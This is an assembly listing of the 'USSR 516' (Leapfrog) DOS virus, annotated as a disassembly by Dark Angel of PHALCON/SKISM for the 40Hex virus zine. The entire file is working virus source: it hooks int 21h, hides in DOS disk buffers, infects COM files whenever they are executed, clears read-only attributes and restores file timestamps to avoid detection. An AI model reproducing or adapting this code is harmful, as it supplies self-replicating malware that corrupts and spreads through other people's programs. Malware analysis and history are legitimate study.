?? leap_frg.asm
字號:
ussr516 segment byte public
assume cs:ussr516, ds:ussr516
org 100h
; Disassembled by Dark Angel of PHALCON/SKISM
; for 40Hex Number 7 Volume 2 Issue 3
stub: db 0e9h, 0, 0
db 0e9h, 1, 0, 0
; This is where the virus really begins
start:
push ax
call beginvir
orig4 db 0cdh, 20h, 0, 0
int30store db 0, 0, 0, 0 ; Actually it's int 21h
; entry point
int21store db 0, 0, 0, 0
beginvir: pop bp ; BP -> orig4
mov si,bp
mov di,103h
add di,[di-2] ; DI -> orig4
movsw ; restore original
movsw ; 4 bytes of program
xor si,si
mov ds,si
les di,dword ptr ds:[21h*4]
mov [bp+8],di ; int21store
mov [bp+0Ah],es
lds di,dword ptr ds:[30h*4+1] ; Bug????
findmarker:
inc di
cmp word ptr [di-2],0E18Ah ; Find marker bytes
jne findmarker ; to the entry point
mov [bp+4],di ; and move to
mov [bp+6],ds ; int30store
mov ax,5252h ; Get list of lists
int 21h ; and also ID check
add bx,12h ; Already installed?
jz quitvir ; then exit
push bx
mov ah,30h ; Get DOS version
int 21h
pop bx ; bx = 12, ptr to 1st
; disk buffer
cmp al,3
je handlebuffer ; if DOS 3
ja handleDBHCH ; if > DOS 3
inc bx ; DOS 2.X, offset is 13
handlebuffer:
push ds
push bx
lds bx,dword ptr [bx] ; Get seg:off of buffer
inc si
pop di
pop es ; ES:DI->seg:off buff
mov ax,[bx] ; ptr to next buffer
cmp ax,0FFFFh ; least recently used?
jne handlebuffer ; if not, go find it
cmp si,3
jbe quitvir
stosw
stosw
jmp short movetobuffer
handleDBHCH: ; Disk Buffer Hash Chain Head array
lds si,dword ptr [bx] ; ptr to disk buffer
lodsw ; info
lodsw ; seg of disk buffer
; hash chain head array
inc ax ; second entry
mov ds,ax
xor bx,bx
mov si,bx
lodsw ; EMS page, -1 if not
; in EMS
xchg ax,di ; save in di
lodsw ; ptr to least recently
; used buffer
mov [di+2],ax ; change disk buffer
; backward offset to
; least recently used
xchg ax,di ; restore EMS page
mov [di],ax ; set to least recently
movetobuffer: ; used
mov di,bx
push ds
pop es ; ES:DI -> disk buffer
push cs
pop ds
mov cx,108h
lea si,[bp-4] ; Copy from start
rep movsw
mov ds,cx ; DS -> interrupt table
mov word ptr ds:[4*21h],0BCh ; New interrupt handler
mov word ptr ds:[4*21h+2],es ; at int21
quitvir:
push cs ; CS = DS = ES
pop es
push es
pop ds
pop ax
mov bx,ax
mov si, 100h ; set up stack for
push si ; the return to the
retn ; original program
int24:
mov al,3 ; Ignore all errors
iret
tickstore db 3 ; Why???
buffer db 3, 0, 9, 0
int21:
pushf
cli ; CP/M style call entry
call dword ptr cs:[int30store-start]
retn ; point of int 21h
int21DSDX: ; For int 21h calls
push ds ; with
lds dx,dword ptr [bp+2] ; DS:DX -> filename
call int21
pop ds
retn
cmp ax,4B00h ; Execute
je Execute
cmp ax,5252h ; ID check
je CheckID
cmp ah,30h ; DOS Version
je DosVersion
callorig21: ; Do other calls
jmp dword ptr cs:[int21store-start]
DosVersion: ; Why????? ; DOS Version
dec byte ptr cs:[tickstore-start]
jnz callorig21 ; Continue if not 0
push es
xor ax,ax
push ax
mov es,ax
mov al,es:[46Ch] ; 40h:6Ch = Timer ticks
; since midnight
and al,7 ; MOD 15
inc ax
inc ax
mov cs:[tickstore-start],al ; # 2-17
pop ax
pop es
iret
CheckID: ; ID Check
mov bx,0FFEEh ; FFEEh = -12h
iret
Execute: ; Execute
push ax ; Save registers
push cx
push es
push bx
push ds ; DS:DX -> filename
push dx ; save it on stack
push bp
mov bp,sp ; Set up stack frame
sub sp,0Ah ; Temporary variables
; [bp-A] = attributes
; [bp-8] = int 24 off
; [bp-6] = int 24 seg
; [bp-4] = file time
; [bp-2] = file date
sti
push cs
pop ds
mov ax,3301h ; Turn off ^C check
xor dl,dl ; (never turn it back
call int21 ; on. Bug???)
mov ax,3524h ; Get int 24h
call int21 ; (Critical error)
mov [bp-8],bx
mov [bp-6],es
mov dx,int24-start
mov ax,2524h ; Set to new one
call int21
mov ax,4300h ; Get attributes
call int21DSDX
jnc continue
doneinfect:
mov ax,2524h ; Restore crit error
lds dx,dword ptr [bp-8] ; handler
call int21
cli
mov sp,bp
pop bp
pop dx
pop ds
pop bx
pop es
pop cx
pop ax
jmp short callorig21 ; Call orig handler
continue:
mov [bp-0Ah],cx ; Save attributes
test cl,1 ; Check if r/o????
jz noclearattr
xor cx,cx
mov ax,4301h ; Clear attributes
call int21DSDX ; Filename in DS:DX
jc doneinfect ; Quit on error
noclearattr:
mov ax,3D02h ; Open read/write
call int21DSDX ; Filename in DS:DX
jc doneinfect ; Exit if error
mov bx,ax
mov ax,5700h ; Save time/date
call int21
mov [bp-4],cx
mov [bp-2],dx
mov dx,buffer-start
mov cx,4
mov ah,3Fh ; Read 4 bytes to
call int21 ; buffer
jc quitinf
cmp byte ptr ds:[buffer-start],0E9h; Must start with 0E9h
jne quitinf ; Otherwise, quit
mov dx,word ptr ds:[buffer+1-start]; dx = jmploc
dec dx
xor cx,cx
mov ax,4201h ; go there
call int21
mov ds:[buffer-start],ax ; new location offset
mov dx,orig4-start
mov cx,4
mov ah,3Fh ; Read 4 bytes there
call int21
mov dx,ds:[orig4-start]
cmp dl,0E9h ; 0E9h means we might
jne infect ; already be there
mov ax,ds:[orig4+2-start] ; continue checking
add al,dh ; to see if we really
sub al,ah ; are there.
jz quitinf
infect:
xor cx,cx
mov dx,cx
mov ax,4202h ; Go to EOF
call int21
mov ds:[buffer+2-start],ax ; save filesize
mov cx,204h
mov ah,40h ; Write virus
call int21
jc quitinf ; Exit if error
sub cx,ax
jnz quitinf
mov dx,ds:[buffer-start]
mov ax,ds:[buffer+2-start]
sub ax,dx
sub ax,3 ; AX->jmp offset
mov word ptr ds:[buffer+1-start],ax; Set up buffer
mov byte ptr ds:[buffer-start],0E9h; code the jmp
add al,ah
mov byte ptr ds:[buffer+3-start],al
mov ax,4200h ; Rewind to jmploc
call int21
mov dx, buffer-start
mov cx,4 ; Write in the jmp
mov ah,40h
call int21
quitinf:
mov cx,[bp-4]
mov dx,[bp-2]
mov ax,5701h ; Restore date/time
call int21
mov ah,3Eh ; Close file
call int21
mov cx,[bp-0Ah] ; Restore attributes
mov ax,4301h
call int21DSDX
jmp doneinfect ; Return
ussr516 ends
end stub
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